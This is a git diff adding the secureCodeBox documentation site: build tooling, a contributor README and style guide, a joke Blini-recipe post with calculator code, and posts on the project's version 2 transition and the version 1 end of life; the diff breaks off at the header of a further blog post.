diff --git a/.github/workflows/dependabot.yml b/.github/workflows/dependabot.yml new file mode 100644 index 0000000000..b316c8340f --- /dev/null +++ b/.github/workflows/dependabot.yml @@ -0,0 +1,11 @@ +# To get started with Dependabot version updates, you'll need to specify which +# package ecosystems to update and where the package manifests are located. +# Please see the documentation for all configuration options: +# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates + +version: 2 +updates: + - package-ecosystem: "npm" # See documentation for possible values + directory: "/documentation" # Location of package manifests + schedule: + interval: "weekly" diff --git a/bin/create-blog-post.sh b/bin/create-blog-post.sh new file mode 100755 index 0000000000..84a23d2483 --- /dev/null +++ b/bin/create-blog-post.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash + +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +# +# Helper script to create new blog posts +# +# What does this script for you? +# 1. It creates the proper filename (eg. blog/2020-10-01-this-is-a-title.md). +# - current date +# - lower case +# - spaces replaced by dashes +# 2. Adds basic frontmatter into it. +# +# You may place a file .author_meta into the root of the repo to define some variables +# for the frontmatter. The script will tell you if no meta file was found. +# + +set -ue + +# @see: http://wiki.bash-hackers.org/syntax/shellvars +[ -z "${SCRIPT_DIRECTORY:-}" ] \ + && SCRIPT_DIRECTORY="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null && pwd )" \ + && export SCRIPT_DIRECTORY + +BASE_DIR=$(dirname "${SCRIPT_DIRECTORY}")/documentation +BLOG_DIR="${BASE_DIR}/blog" +USAGE="Usage: $(basename "$0") 'The title of Your Post'" + +if (( $# != 1 )); then + echo "Error: The title is missing!" + echo "${USAGE}" + exit 1 +fi + +if [ '-h' = "${1}" ]; then + echo "${USAGE}" + exit 0 +fi + +AUTHOR_META_FILE="${BASE_DIR}/.author_meta" +if [ -f "${AUTHOR_META_FILE}" ]; then + echo "Using author meta file ${AUTHOR_META_FILE}." + # shellcheck disable=SC1090 + source "${AUTHOR_META_FILE}" +else + echo "No author meta file found at ${AUTHOR_META_FILE}!" + echo + echo "You could use one to predefine some variables. Just put this:" + echo + echo "AUTHOR='Gordon Shumway'" + echo "AUTHOR_TITLE='Core Developer'" + echo "AUTHOR_URL='https://...'" + echo "AUTHOR_IMAGE_URL='https://...'" + echo + echo "Into the file ${AUTHOR_META_FILE}." +fi + +TITLE="${1}" +TITLE_CLEANSED=$(echo "${TITLE}" | tr '[:upper:]' '[:lower:]' | tr ' ' '-') +DATE=$(date +'%Y-%m-%d') +BLOG_POST_FILE="${BLOG_DIR}/${DATE}-${TITLE_CLEANSED}.md" +cat << EOF > "${BLOG_POST_FILE}" +--- +title: ${TITLE} +author: ${AUTHOR:-} +author_title: ${AUTHOR_TITLE:-} +author_url: ${AUTHOR_URL:-} +author_image_url: ${AUTHOR_IMAGE_URL:-} +tags: +description: +image: +draft: true +--- +EOF diff --git a/documentation/Makefile b/documentation/Makefile new file mode 100644 index 0000000000..0154493d2b --- /dev/null +++ b/documentation/Makefile @@ -0,0 +1,32 @@ +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +DOCUMENTATION_DIR = $(shell pwd) +DIAGRAMS := $(shell find $(DOCUMENTATION_DIR) -type f -name '*.puml') +IMAGES := $(addsuffix .png, $(basename $(DIAGRAMS))) + +all: help + +.PHONY: puml +puml: $(IMAGES) ## Generate PlantUML images + +.PHONY: clean +clean: ## Wipe node_modules + rm -rf $(DOCUMENTATION_DIR)/node_modules + +.PHONY: install +install: ## Install Docusaurus stuff. (Needed once before you invoke start target). + npm install + +.PHONY: start +start: ## Start local Docusaurus. (Visit http://localhost:3000) + npm start + +%.png: %.puml + plantuml -tpng $^ + +.PHONY: help +help: ## Display this help screen. + @grep -h -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | \ + awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' diff --git a/documentation/README.md b/documentation/README.md new file mode 100644 index 0000000000..415f12c2dd --- /dev/null +++ b/documentation/README.md @@ -0,0 +1,279 @@ + + +# Documentation secureCodeBox + +This repository sources the [securecodebox.io] website. Our webpage is meant to provide an extensive documentation about our [secureCodeBox] and many helpful guides on how to start and operate it. The website is build with the [Docusaurus] Framework and hosted through [Netlify]. All important decisions about this website are documented in our `/docs/architecture` folder in the [secureCodeBox] repo. If you want to contribute to our website, please follow the Style Guide down below. + +## How the Documentation is Structured and Organized + +Here we describe where which type of documentation goes: + +- We have two main documentation types: + 1. Documentation for end users and + 2. documentation for contributing developers. +- The end user documentation provides groups of documents which are top level in the sidebar in this order: + - "Getting Started" + - "HowTos" + - "Scanners" + - "Hooks" +- The second type of documentation for contributing is below the group "Contributing". + +We do not use the terms "guide" nor "tutorial" at the moment. + +## Build and Run + +In order to build and run this website you need to install [Node.js and NPM] for your platform. We recommend to use [nvm] to manage your Node.js versions. Finally you download/clone this repository and install all required Node modules: + +```bash +cd documentation +nvm use +npm install -g npm@8.11.0 +npm install +``` + +Done! :) Now you can start developing and contributing. + +For development: + +```bash +npm start +``` + +For production locally: + +```bash +npm run build +npm run serve +``` + +Important note: We extract the documentation for hooks and scanners from their corresponding directory, thus we build them programmatically, the `sidebars.js` and provide information about everything categorized as an integration (scanners, hooks, etc.) to the frontend through the as well programmatically build `src/integrations.js`. + +The build is automatically triggered via a pre-hook to the `npm start` and `npm run build` command. But you can run each respective script on it's own, namely: + +```bash +npm run build:docs +npm run build:sidebar +npm run build:integrations +``` + +See each respective script for more information. For simple configuration options have a look at `scripts/utils/config.js`. + +And then visit [this](http://localhost:3000/) in your browser. + +## Style Guide + +The overall design-idea is a clean and professional look. And since [securecodebox.io] serves mostly an informational purpose, it should stay more simplistic than extraordinary, meaning include only information and elements which either are necessary or helpful and very few basic elements for a good look (e.g. fitting background picture). + +### Colors + +The color scheme is aimed to be basically white with a soft blue coloring as the main color and gentle highlighting. This website should not be monochrome or monotonous, so feel free to include colored elements and icons but use different colors only ever so slightly and avoid strong contrasts. + +Included color palette: + +```css +--ifm-color-primary: #77b9e8; +--ifm-color-primary-dark: #55a8e2; +--ifm-color-primary-darker: #49a2e0; +--ifm-color-primary-darkest: #3296dc; +--ifm-color-primary-light: #2389d0; +--ifm-color-primary-lighter: #2181c4; +--ifm-color-primary-lightest: #1c6aa1; + +--accent-color-main: #00b2bb; +--accent-color-highlight: #37dae2; +``` + +If new colors will be used standardized, make sure to include them as a variable and list it here with it's purpose. + +### Fonts + +Fonts should be simple and readable. Nothing fancy or special and not be web loaded. We use currently the provided fonts in the default docusaurus preset. + +### Icons & Images + +The icons of the integrations should be monochrome. It is important to have an icon which corresponds to the integrations original icon, but does not need to be the same (we do not want to copy the original one's due to licenses). Colored icons should have on the one side, a generally coherent look on the respective page and on the other side, not stand out from the websites blueish theme. Icons should be free licensed or from [flaticon]. [flaticon] is a great source of millions of free icons and it is referenced on the website for it's use already. Images should be fitting and mainly used as background (partially). They should fit the color scheme if possible or do **not** stand out through a high contrast to the website. + +Recommended websites for free icons or images: + +- [flaticon](https://www.flaticon.com/) +- [iconmonstr](https://iconmonstr.com/) +- [pixabay](https://pixabay.com/) +- [undraw](https://undraw.co/) + +## Documentation Guide + +Since we work with various different tools, it is even more important to keep a clean and well structured Documentation. Our website's purpose is to provide a comfortable navigation and clear overview. But since no one is going to update the documentation if it's untraceable, it is also very important to keep the documentation's location clear and as less spread as possible throughout our project. So no single-page documentation hidden in the deep structure of a remote repository! In general we keep specific documentation in the respective directory (e.g. the Amass documentation is a README.md in the Amass directory). Documentation can also be housed in this repository, if it is not specifically categorized to something, but follows the guidelines of the documentation build scripts. One key feature our documentations share in order to be put on the website is a frontmatter in each documentation. It is mandatory since at least a title (and for integrations also a description) are required. But it also can provide helpful other information very easily, for a documentation see [frontmatter]. Don't be afraid to use it for including important information, which you can't get/provide otherwise very well, but don't overuse it! For more detailed examples see the following sections. + +### Adding a Scanner or Hook + +Scanners and hooks are referred to as integrations. Scanners, which are integrated into our [secureCodeBox] repository have their own directories (located at [/scanners/](https://github.com/secureCodeBox/secureCodeBox/tree/master/scanners)) in which the main documentation must be written in a `README.md` file. Hooks have their own respective directory of similar structure. But in general the documentation is build programmatically, so for further information have a look at the respective build script (`scripts/`). + +#### Scanner + +Additionally you can and (for the sake of aesthetics) should provide an icon in `.svg` format (the fancy icons you see on the "Integrations" page), located at `/src/static/integrationIcons`. Simply name it according to the title in the frontmatter, e.g. if the scanner's title is "Nmap" your filename is "Nmap.svg", it's as simple as that. Each of our scanner has a release svg, which needs to be put in the frontmatter of the respective documentation. Our scanner are structured uniformly with a frontmatter of mandatory fields as follows: + +
+Scanner Frontmatter Documentation Structure +
+ +```md +title: "Nmap" +category: "scanner" +type: "Network" +state: "released" +appVersion: "7.80" +usecase: "Network discovery and security auditing" +``` + +
+ +You can add and extend categories as you will, but keep the main structure and if one section would be empty, write an explanation why, if it's not obvious. See this as a adjustable template and have a look at what is written in the other scanner's docs. + +Besides the frontmatter you can add any markdown content you'd like. Thought it would be preferred if it could match the rough structure of the existing scanner readmes. + +#### Hook + +To add hook documentation simply add the markdown file to the folder mentioned above. To provide an icon do as explained before for the scanner. Our hooks are structured uniformly with a frontmatter of mandatory fields as follows: + +
+Hook Frontmatter Documentation Structure +
+ +```md +--- +title: "Elasticsearch" +path: "hooks/persistence-elastic" +category: "hook" +type: "persistenceProvider" +state: "released" +usecase: "Publishes all Scan Findings to Elasticsearch." +--- +``` + +
+ +### Adding tutorials or developer docs + +Currently under development, please provide an explanation to why these are split and how this differentiation is meant. + +#### Tutorials + +Currently under development, this will be the guide for our "Get Started" tutorials similar to the ones above. + +#### Developer docs + +Currently under development, this will be the guide for our "Docs" developer documentation similar to the ones above. + +## Scripts + +Since we want to have our documentation in the main repository available on this site as well, we use some custom scripts to build the documentation structure in the `docs/` folder. These scripts are located at the `scripts/` folder. Each script can be called and work independently from one another. The respective commands are defined in the `package.json` and chained together by a pre-hook to the general build command. If you want to add a new script it should be kept as an individually executable script and follow our naming convention: `..js`. The configuration for all scripts can be found at `scripts/utils/config.js`. Though our frontend is built in TypeScript, those scripts remain in JavaScript currently. + +### Docs Builder + +The docs builder script is responsible to retrieve and generate specified folder and files, containing documentation and works as follows: + +1. Download the specified github repository into a temporary location. +2. Looks folders in `filesFromRepository.src` property in `docsConfig` under /scripts/utils/config.js +3. If the folder has a `.helm-docs.gotmpl` file (such as /hooks or /scanners), then the corresponding `.md` files are generated into the folder indicated by `dst` + 1. If an `/examples` subdirectory exists composite examples part, else continue on step 5. + 2. Build a tab for each subdirectory in the `/examples` directory. + 3. In each tab add contents of the respective example `README.md` and build new tabs for `scan.yaml` and `findings.yaml` (all files are optional). + 4. If `findings.yaml` exceeds size limit, create downloadable file and embed respective link. + 5. Concatenate example part to previous `README.md` +4. If the folder does not have a `.helm-docs.gotmpl` file, then the files are simply copied as is, while exluding the file names under the `exclude` array +5. Delete temporary folder. + +The target file structure will look something like this (in the root directory): + +```txt +|-... +|- +|-|- +|-|-|- .md from filesFromRepository.src> +``` + +This script overrides all existing subdirectories within 'targetPath', with the same name as as the names in 'filesFromRepository.src'. +This script does not check for markdown files but for files named 'README.md'. +The subdirectories are not required to contain a README.md. + +Its configuration options are: + +```ts +temp: string, // Name of temporary folder, will be deleted after build +repository: string, // The repository url without the github part of the link +targetPath: string, // This needs to be 'docs' for the docusaurus build, but you may specify a 'docs/' +srcDirs: string[], // Directory names, relative to the root directory of the github project, containing the subdirectories with documentation +sizeLimit: number, // Limit of file size, most importantly used for large findings. +findingsDir: string, // Directory for large findings which exceeded sizeLimit +filesFromRepository: { // Files that need to be brought from the main repository + src: string // Path of the directory to be copied or generated, relative to the main repository's root + dst: string // Where the files need to copied in this repository + exclude: string[] // File names that should be ignored +} +``` + +### Integrations builder + +This script builds an `integrations.js` file, parsing frontmatter information into objects. +It reads the files of the given directories (not the subdirectories) and retrieves frontmatter data, parsing it to objects of type `Integration` (see below) and joins them into importable modules, respective to the given directories. The required fields in the frontmatter of an integration are: + +```yaml +--- +title: +usecase: <usecase> +--- +``` + +The Integration class looks like this: + +```js +class Integration { + constructor(title, type, usecase, path, imageUrl) { + this.title = title; + this.type = type; + this.usecase = usecase; + this.path = path; + this.imageUrl = imageUrl; + } + + isEmpty() { + return !this.title && !this.usecase; + } +} +``` + +Its configuration options are: + +```ts +targetFile: string, // Name of the target file to (over-)write +integrationDirs: string[], // Names of the directories relative to the root level of the `/docs` folder +defaultIcon: string, // Default Icon when no imageUrl provided or could not resolve imageUrl +``` + +## Production Deployment + +All changes pushed to the `master` branch get automatically build by [Netlify]. This also means that the `npm run build` command is executed, thus executing our custom build scripts through a pre-hook. + +# Architecture Documentation + +The architecture documentation is located under `docs/architecture/`. + +## Architecture Diagrams + +The PNG files are made with [Draw.io][draw.io]. They contain the metadata for Draw.io, so you can simply open the file in Draw.io. **It's important that you save the files as _editable bitmap image_**. + +Files ending with `.puml` are made with [PlantUML][plantuml]. Here we commit the text file **and** the generated PNG file. + +[securecodebox.io]: https://securecodebox.github.io +[securecodebox]: https://github.com/secureCodeBox/secureCodeBox +[docusaurus]: https://v2.docusaurus.io/ +[netlify]: https://www.netlify.com/ +[node.js and npm]: https://nodejs.org/en/download/ +[nvm]: https://github.com/nvm-sh/nvm +[frontmatter]: https://v2.docusaurus.io/docs/markdown-features/#markdown-headers +[draw.io]: https://app.diagrams.net/ +[plantuml]: https://plantuml.com/ diff --git a/documentation/babel.config.js b/documentation/babel.config.js new file mode 100644 index 0000000000..905f7089bb --- /dev/null +++ b/documentation/babel.config.js @@ -0,0 +1,7 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +module.exports = { + presets: [require.resolve('@docusaurus/core/lib/babel/preset')], +}; diff --git a/documentation/blog/2020-09-08-blinmaker.md b/documentation/blog/2020-09-08-blinmaker.md new file mode 100644 index 0000000000..4c481415eb --- /dev/null +++ b/documentation/blog/2020-09-08-blinmaker.md @@ -0,0 +1,348 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Blinmaker +author: Daniel Patanin +author_title: Maintainer of securecodebox.io +author_url: https://github.com/dpatanin +author_image_url: https://avatars1.githubusercontent.com/u/44839597?s=400&u=df006f35797ebb585d8279513305a0bbf1f616b5&v=4 +tags: [cooking, blini] +description: This is my first post on securecodebox.io. +image: /img/blog/2020-09-08-blini.jpg +--- + +![Blini](/img/blog/2020-09-08-blini.jpg) + +This is the first post on the new [securecodebox.io](https://securecodebox.io) documentation. What would be better than to teach you how to make some Blini. 😸 + +<!--truncate--> + +## Making the Blin + +Blini are from Eastern Europe. They're basically pancakes in 10 times as thin, but 10 times as good and easy to make. The main components are some eggs, milk and flour. +Nothing extraordinary, actually three very basic things that you have at home most of the time. For one portion of Blini you will need 1 chicken produce, 200ml cow juice and 100g dry snow. +Mix them together and you are ready to make 4 Blini. + +:::info Blinmaker +If you think: "But i can't memorize that amounts, is there an easier way? Yes there is! Meet the [Blinmaker](#the-blinmaker). You can also compute the amount of Blini you can make right [here](#computing-blin-amount). " +::: + +As for actually making the Blini, it's even easier: + +1. Take a pan + - Heat it up +2. Add a small amount of yellow cooking slime (source may be your choice) +3. Pour in the liquid Blini until they just cover the surface of the pan + 1. Keep the pan hot while you wait until the blin magically solidifies. + 2. Carefully flip the Blin... + - before it starts burning + - and when it is somewhat solid, but not for a long time +4. Remove the Blin when it is ready. +5. Eat your Blini. + +:::caution Watch your Blini +Warning! You better pay attention! If not, your neighbor Vadim might steal some Blini while you are not looking! +::: + +## Serving the Blin + +When you are ready to eat some Blini and think: "This is not bad but something is missing.", Then you're absolutely right. See, while Blini are delicious themselves, their true potential lies in the toppings you eat them with. Pretty much anything sweet you like will make you very happy, but there are also some different things you may try: + +| Sweet | Not sweet | Drinks | +| :---------------- | :--------: | ------------: | +| Honey | Mustard | Milk | +| Jam | Sour Cream | Tea | +| Maple syrup | Mayonnaise | Fruit juice | +| Chocolate cream | | Hot Chocolate | +| Berries or fruits | | Coffee | +| Ice cream | | + +:::tip +Blini fit very nicely in lunch bags. +::: + +## The Blinmaker + +Meet the **_Blinmaker_**. It is a magnificent tool which computes how many Blini you can make with what you have at home. + +### Blinmaker in different languages + +Here is the Blinmaker in different languages. Just copy, paste and click run whenever you need to know how many Blini you can make! + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; + +<Tabs +defaultValue="rs" +values={[ +{ label: 'Rust', value: 'rs', }, +{ label: 'Python', value: 'py', }, +{ label: 'Java', value: 'java', }, +] +}> +<TabItem value="rs"> + +```rust +pub const EGGS_MIN: i32 = 1; +pub const FLOUR_MIN: f32 = 100.0; +pub const MILK_MIN: f32 = 200.0; +pub fn find_blin_amount(mut flour_amount: f32, mut milk_amount: f32, mut eggs_amount: i32) -> f32 { + flour_amount = flour_amount / FLOUR_MIN; + eggs_amount = eggs_amount / EGGS_MIN; + milk_amount = milk_amount / MILK_MIN; + let smallest: f32; + if flour_amount <= milk_amount && flour_amount <= eggs_amount as f32{ + smallest = flour_amount as f32; + return smallest * 6.0; + } + else if milk_amount <= flour_amount && milk_amount <= eggs_amount as f32 { + smallest = milk_amount as f32; + return smallest * 6.0; + } + else if eggs_amount as f32 <= flour_amount && eggs_amount as f32 <= milk_amount { + smallest = eggs_amount as f32; + return smallest as f32 * 6.0; + } + else{ + return -1 as f32; + } +} +pub fn find_materials_amount(mut flour_amount: f32, mut milk_amount: f32, mut eggs_amount: i32) -> (f32,f32,i32) { + flour_amount = flour_amount / FLOUR_MIN; + eggs_amount = eggs_amount / EGGS_MIN; + milk_amount = milk_amount / MILK_MIN; + let mut smallest: f32 = 0.0; + if flour_amount<=milk_amount && flour_amount<=eggs_amount as f32 { + smallest = flour_amount as f32; + } + else if milk_amount<=flour_amount && milk_amount<=eggs_amount as f32 { + smallest = milk_amount as f32; + } + else if eggs_amount as f32<=flour_amount && eggs_amount as f32<=milk_amount { + smallest = eggs_amount as f32; + } + (smallest * FLOUR_MIN, smallest * MILK_MIN, smallest as i32 * EGGS_MIN) +} +``` + +</TabItem> + +<TabItem value="py"> + +```py +i="" +while i !='stop': + eggamount = int(input("how many eggs do you have?")) + eggsneeded = 3 + milkamount = int(input("how much milk do you have?")) + milkneeded = 1 + flouramount = int(input("how much flour do you have?")) + flourneeded = 2 +if eggamount < eggsneeded and milkamount < milkneeded and flouramount < flourneeded: + print("no") +else: + list1=[] + eggamount1 = eggamount // eggsneeded + milkamount1 = milkamount // milkneeded + flouramount1 = flouramount // flourneeded + print('you have' ,eggamount1,"portions of eggs") + print("you have", flouramount1,"portions of flour") + print("you have" ,milkamount1,"portions of milk") + list1.append(eggamount1) + list1.append(milkamount1) + list1.append(flouramount1) + print("you can make" ,min(list1) ,"blin") + i=input( + ''' + type stop if you wish to stop the program + type anything to continue''' + ) +``` + +</TabItem> +<TabItem value="java"> + +```java +package blinmaker; + +import java.util.Scanner; + +public class cooker { + + public static void main(String[] args) { + int eggsAmount; + int eggsMin = 1; + int milkAmount; + int milkMin = 200; // milliliter + int flourAmount; + int flourMin = 100; // grams + + System.out.println("Hello!"); + System.out.println("Blinmaker ist starting up.."); + System.out.println("How many egges do you have?"); + + Scanner userInput; + userInput = new Scanner(System.in); + eggsAmount = userInput.nextInt(); + System.out.println("You have " + eggsAmount + " eggs."); + + System.out.println("How much milk do you have?"); + userInput = new Scanner(System.in); + milkAmount = userInput.nextInt(); + System.out.println("You have " + milkAmount + "ml milk."); + + System.out.println("How much flour do you have?"); + userInput = new Scanner(System.in); + flourAmount = userInput.nextInt(); + System.out.println("You have " + flourAmount + "g flour."); + + if(eggsAmount < eggsMin || milkAmount < milkMin || flourAmount < flourMin) { + System.out.println("No blin today :("); + } else { + int flourPortions = flourAmount / flourMin; + int milkPortions = milkAmount / milkMin; + + int smallest = Math.min(Math.min(flourPortions, milkPortions), eggsAmount); + + System.out.println(" "); + System.out.println("You can make " + smallest*4 + " Blini."); + System.out.println(" "); + System.out.println("You will need " + smallest*eggsMin + " eggs."); + System.out.println("You will need " + smallest*milkMin + " milk."); + System.out.println("You will need " + smallest*flourMin + " flour."); + System.out.println("Blinmaker shutting down..."); + } + } +} +``` + +</TabItem> +</Tabs> + +### Computing Blin Amount + +If you say you want to make some Blini right now, then here you go, a Blinmaker ready to use. + +:::note Did you know +With this live editor you can change the blinmaker to use e.g. imperial units, if you're a western spy. +::: + +```jsx live +class BlinMaker extends React.Component { + constructor(props) { + super(props); + + this.state = { + eggsAmount: 0, + milkAmount: 0, + flourAmount: 0, + }; + + this.computeBlinAmount = this.computeBlinAmount.bind(this); + } + + computeBlinAmount() { + const eggsMin = 1; + const milkMin = 200; // milliliter + const flourMin = 100; // grams + + if ( + this.state.eggsAmount < eggsMin || + this.state.milkAmount < milkMin || + this.state.flourAmount < flourMin + ) { + alert("No blin today :("); + } else { + const flourPortions = Math.floor(this.state.flourAmount / flourMin); + const milkPortions = Math.floor(this.state.milkAmount / milkMin); + + const smallest = Math.min( + this.state.eggsAmount, + flourPortions, + milkPortions + ); + const Blini = smallest * 4; + + alert( + `You can make ${Blini} Blini. You will need ${ + smallest * eggsMin + } eggs, ${smallest * milkMin}ml milk and ${smallest * flourMin}g flour.` + ); + } + } + + render() { + const gridStyle = { + display: "inline-block", + width: "50%", + minWidth: "max-content", + }; + + const inputStyle = { + float: "right", + }; + + const buttonStyle = { + backgroundColor: "#55a8e2", + maxWidth: "200px", + height: "30px", + font: "400 14px/18px Roboto, sans-serif", + marginTop: "10px", + border: "none", + cursor: "pointer", + }; + + return ( + <div style={gridStyle}> + <label> + Egg amount: + <input + type="number" + style={inputStyle} + value={this.state.eggsAmount} + onChange={(event) => + this.setState({ eggsAmount: event.target.value }) + } + /> + </label> + <br /> + <label> + Milk amount: + <input + type="number" + step="50" + style={inputStyle} + value={this.state.milkAmount} + onChange={(event) => + this.setState({ milkAmount: event.target.value }) + } + /> + </label> + <br /> + <label> + Flour amount: + <input + type="number" + step="50" + style={inputStyle} + value={this.state.flourAmount} + onChange={(event) => + this.setState({ flourAmount: event.target.value }) + } + /> + </label> + <br /> + <button style={buttonStyle} onClick={this.computeBlinAmount}> + Compute Blinamount + </button> + </div> + ); + } +} +``` + +:::danger +Don't make too many Blini. Throwing them away is a crime in eastern Europe! +::: diff --git a/documentation/blog/2020-10-12-whats-going-on.md b/documentation/blog/2020-10-12-whats-going-on.md new file mode 100644 index 0000000000..41f8399275 --- /dev/null +++ b/documentation/blog/2020-10-12-whats-going-on.md @@ -0,0 +1,66 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: What's Going On +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - secureCodeBox + - v1 + - v2 +description: This post gives a brief outline about what's going on in the secureCodeBox project. +image: /img/blog/2020-10-12-fingerpost.jpg +--- + +![Fingerpost](/img/blog/2020-10-12-fingerpost.jpg) + +Photo by [Javier Allegue Barros](https://unsplash.com/@soymeraki) on [Unsplash](https://unsplash.com/). + +Maybe you're wondering what's going on with my beloved _secureCodeBox_. If you look at the [GitHub insights](https://github.com/secureCodeBox/secureCodeBox/pulse) for the main repo, you'll see: Not that much is going on: + +![Commits in the last months](/img/blog/2020-10-12-commits.png) + +So is _secureCodeProject_ dead? Of course not! But we gained a lot of experiences using _secureCodeBox_ and went through some changes in the last couple of months. In this blog post, I'll give you a brief outline of all these changes and what we aim to do in the near future. + +<!--truncate--> + +## The State of the Union + +I teased you with the experiences we gained from using _secureCodeBox_. Since these were the major reason for the changes let me start with them. + +### Project MKULTRA + +Initially, the goal of _secureCodeBox_ was to provide a tool for easy integrating security test tools into your CI/CD pipeline to run against your web project. Some years ago we asked ourselves: Why only scan a single project? So a great idea was born: Consider the whole company as a project. We started this as a side project with the code name _MKULTRA_. There is no good reason for the name. We needed a name for the Git repository and for an unknown reason this was the first thing that crossed my mind 😂 + +So we built a large scale scan for the whole company. I'll not go into the details here. This is a good topic for an upcoming post. Essentially we did a [Nmap][nmap] scan of the whole company's network and for the found hosts we do subsequent scans like [Nikto][nikto], [SSLyze][sslyze], [Ncrack][ncrack], [ssh_scan][ssh_scan], etc. Here the first problem emerged: The original design of the _secureCodeBox_ does not fit very well for this use case of cascading scans. We had to do some workarounds to achieve this by writing a lot of Jenkins and Python scripts to orchestrate multiple _secureCodeBox_ scans. That was cumbersome and not very satisfying. + +A second major drawback of the original architecture we stumbled upon is the fact that the scanner containers are running all the time in idle mode waiting for the scan engine to tell them to do something. Not a big deal if you have a handful of scan containers shared among dozens of projects using them. But it becomes a big deal when you do a specialized large-scale scan as we did. The bills to pay have grown constantly. (Hint: No cloud is not necessarily cheap 😉) + +### Some Theoretical Work + +One of our master students wrote his master thesis about the topic of how we could implement the _secureCodeBox_ more FAAS style so that scan containers only consume resources when they do work. Also I'll not go into much detail here. Be patient for an upcoming post. But to get a glimpse of the idea: Basically, we swap out the whole engine from _secureCodeBox_ which did the orchestration of the containers with [Kubernetes][kubernetes] and define the scanners as [custom resources][custom-resources]. + +### Version 2 Was Born + +So the idea of a version 2 was born. That happened around the beginning of this year. Due to the fact of limited resources in the team of core maintainers, we decide in spring to stop any work on version 1 and fully focus on version 2. And here it is! We did a lot of work and we are proud to announce that we are on the brink of a release. If you are curious about version 2 you can check out the [pre-release version][scb-v2] at GitHub. We're currently working on the final touch and hope that we can merge and release it in the next view weeks. + +### What Else? + +We also decided to move more towards GitHub. We're a traditional software project company and we're quite new in the field of open source. So we struggled a bit with our project management. We used a wild mixture of Trello boards, GitHub issues, Excel sheets, and once a while we had discussions about our workflow: Is this only internal stuff or is it open source? Should this be a Trello card or a GitHub issue? Should we mirror the Tasks? Should we use Jira like our big projects? + +In consequence, we decided to put as much as possible at GitHub to be open to the community as much. So we also try to plan our sprints and goals with the GitHub project feature. + +Also, we decided to do more and better communication with the community. In the past, we were not very good in communicate what we plan to do. This is the reason why we started this blog to give you more information about our plans and our rationales. + +[nmap]: https://nmap.org/ +[nikto]: https://cirt.net/Nikto2 +[sslyze]: https://github.com/nabla-c0d3/sslyze +[ncrack]: https://nmap.org/ncrack/ +[ssh_scan]: https://github.com/mozilla/ssh_scan +[kubernetes]: https://kubernetes.io/ +[custom-resources]: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ +[scb-v2]: https://github.com/secureCodeBox/secureCodeBox diff --git a/documentation/blog/2020-10-15-sundown-and-eol-of-version-1.md b/documentation/blog/2020-10-15-sundown-and-eol-of-version-1.md new file mode 100644 index 0000000000..9b4edad0d0 --- /dev/null +++ b/documentation/blog/2020-10-15-sundown-and-eol-of-version-1.md @@ -0,0 +1,57 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Sundown and EOL of Version 1 +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - eol + - sundown + - v1 +description: Sundown and end of live of secureCodeBox version 1. +image: /img/blog/2020-10-15-sundown.jpg +--- + +![Sundown](/img/blog/2020-10-15-sundown.jpg) + +(Photo by [Zou Meng](https://unsplash.com/@xxm) on [Unsplash](https://unsplash.com/s/photos/sundown)) + +Sad news but the _secureCodeBox_ version 1 will soon reach its end of life. So here we announce its sundown phase beginning from now on until the end of the year. + +<!--truncate--> + +## Sundown + +From today we announce the sundown phase of _secureCodeBox_ version 1. This means that we will **not implement any new features nor update any dependencies** in this version! We will only patch critical security issues or bugs. + +Of course, you can submit pull requests or ask kindly for a bug fix. We may do it if we have the resources. But don't be annoyed if we won't. If you need urgently a patch you may pay us for doing it. But also don't be annoyed if we decline. + +We won't put any more effort into the *secureCodeBox* version 1 as necessary and we want to focus on the work for *secureCodeBox* version 2. + +## End of Live + +The sundown phase will last until 31. December 2020. After that date, we will archive all the repositories belonging only to version 1 and won't do any updates or accept pull requests for version 1. + +If you need patches after this date you must pay us or fork the sources and do it by yourself. + +## Migrating to Version 2 + +Is there a migration tool or guide from version 1 to version 2? Short answer: No! + +Version 1 and version 2 are so different that you can't migrate the installation automatically. It is necessary to knock down your version 1 installation and setup a fresh version 2. + +It may be possible to migrate the data collected by version 1 in Elastic. But at the moment we do not provide tools to migrate this data. Maybe we will provide such a tool in the future. It depends on the demand. We don't want to put effort into something nobody needs. We dropped our data from version 1 and started from scratch. + +## Please Sorry 🥺 + +So you may face a major fuckup now. We understand that such a move is almost always quite a bit annoying. That's why we ask you for sorry and hope we won't lose you as a *secureCodeBox* user. If you need help moving to *secureCodeBox* version 2 don't hesitate to ask us for help! You can reach us at [Twitter](https://www.twitter.com/secureCodeBox), [Slack](https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU), E-Mail (securecodebox [at] iteratec [dot] com) or just file an issue at GitHub. + +Finally to cheer you up a little cute kitten: + +![Cute kitten](/img/blog/2020-10-15-cute-kitten.jpg) + +(Photo by [Andriyko Podilnyk](https://unsplash.com/@yirage) on [Unsplash](https://unsplash.com/s/photos/kitten)) diff --git a/documentation/blog/2020-10-16-release-of-securecodebox-version-2.md b/documentation/blog/2020-10-16-release-of-securecodebox-version-2.md new file mode 100644 index 0000000000..5680c9e997 --- /dev/null +++ 